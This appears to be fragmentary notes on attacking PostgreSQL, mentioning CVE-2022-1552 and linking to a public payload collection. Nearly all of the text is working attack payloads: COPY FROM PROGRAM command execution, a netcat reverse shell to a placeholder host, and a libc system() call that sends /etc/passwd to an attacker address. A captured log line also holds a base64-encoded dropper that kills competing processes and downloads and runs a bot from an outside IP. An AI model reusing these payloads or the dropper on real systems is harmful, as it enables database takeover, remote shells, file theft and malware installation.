execute arbitrary SQL functions under the

identity of the bootstrap superuser, CVE-2022-1552

• Attachments
• References

• solver

Postgrest file writeo

https://swisskyrepo.github.io/PayloadsAllTheThings/SQL Injection/PostgreSQL Injection/#postgresql-file-write

PostgreSQL Command Execution

Using COPY TO/FROM PROGRAM

Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with 'pg_execute_server_program' to pipe to and from an external program using COPY.

COPY (SELECT '') to PROGRAM 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

CREATE TABLE shell(output text); COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';

Using libc.so.6

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

2025-11-24 22:21:55.743 UTC [350] STATEMENT:  CREATE TABLE tests(cmd_output text); COPY tests FROM PROGRAM 'echo ZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8IiQocHJpbnRmICclcycgIiQxIiB8IHNlZCAncyM6Ly8jICM7cyMvIyAjJykiCiAgRE9DPSIvJHBhdGgiCiAgSE9TVD0iJHtzZXJ2ZXIlJToqfSIKICBQT1JUPSIke3NlcnZlciMjKjp9IgogIFsgIiRIT1NUIiA9ICIkUE9SVCIgXSAmJiBQT1JUPTgwCiAgZXhlYyAzPD4vZGV2L3RjcC8kSE9TVC8kUE9SVAogIHByaW50ZiAiR0VUICVzIEhUVFAvMS4xXHJcbkhvc3Q6ICVzXHJcbkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iICIkRE9DIiAiJEhPU1QiID4mMwogIHdoaWxlIElGUz0gcmVhZCAtciBsaW5lIDwmMzsgZG8KICAgIGxpbmU9JHtsaW5lJSQnXHInfQogICAgWyAteiAiJGxpbmUiIF0gJiYgYnJlYWsKICBkb25lCiAgY2F0IDwmMwogIGV4ZWMgMz4mLQp9CmZvciBwIGluIC9wcm9jL1swLTldKjsgZG8gcGlkPSR7cCMjKi99OyBleGU9JChscyAtbCAvcHJvYy8kcGlkL2V4ZSAyPi9kZXYvbnVsbCk7IGNhc2UgIiRleGUiIGluICoiZG9ja2VyZCIqKSBleGl0IDs7IGVzYWM7IGRvbmUKa2lsbCAtOSAkKHBncmVwIGtkZXZ0bXBmc2kpICQocGdyZXAgcHBwc3NzZG0pICQocGdyZXAgY2Y5NGM4ZmQyKSAkKHBncmVwIGtlcm5lbGR4KSAkKHBncmVwIHBnX21lbSkgJChwZ3JlcCBrd29ya2VyKSAkKHBncmVwIHBvc3RncmVzLXN5c3RlbSkgJChwZ3JlcCBjdXJsKSAkKHBncmVwIHBvc3RncmVzX2RtKSAkKHBncmVwIHJ1bXBvc3RncmVzd2spICQocGdyZXAga3RocmVhZGRrKSAkKHBncmVwIG1lbW9yeSkgJChwZ3JlcCBraW5zaW5nKSAkKHBncmVwIHdnZXQpICQocGdyZXAgcG9zdGdyZXMta2VybmVsKSAyPiYxCmZvciBwaWQgaW4gL3Byb2MvWzAtOV0qOyBkbyBwaWQ9JHtwaWQjIyovfTsgcmVzdWx0PSQobHMgLWwgL3Byb2MvJHBpZC9leGUpOyBjYXNlICRyZXN1bHQgaW4gKiIoZGVsZXRlZCkiKnwqIi8uIip8KiJyZWRpc2VydmVyIip8KiJkdnJMb2NrZXIiKnwqImRhc2giKikga2lsbCAtOSAkcGlkIDs7IGVzYWM7IGRvbmUKX19jdXJsIGh0dHA6Ly8xOTUuMjQuMjM3LjczL2JvdCA+IC90bXAvYm90ICYmIGNobW9kICt4IC90bXAvYm90ICYmIC90bXAvYm90Ow==|base64 -d|bash'; SELECT * FROM tests; DROP TABLE IF EXISTS tests;

Limited 11 chars SQLI in update query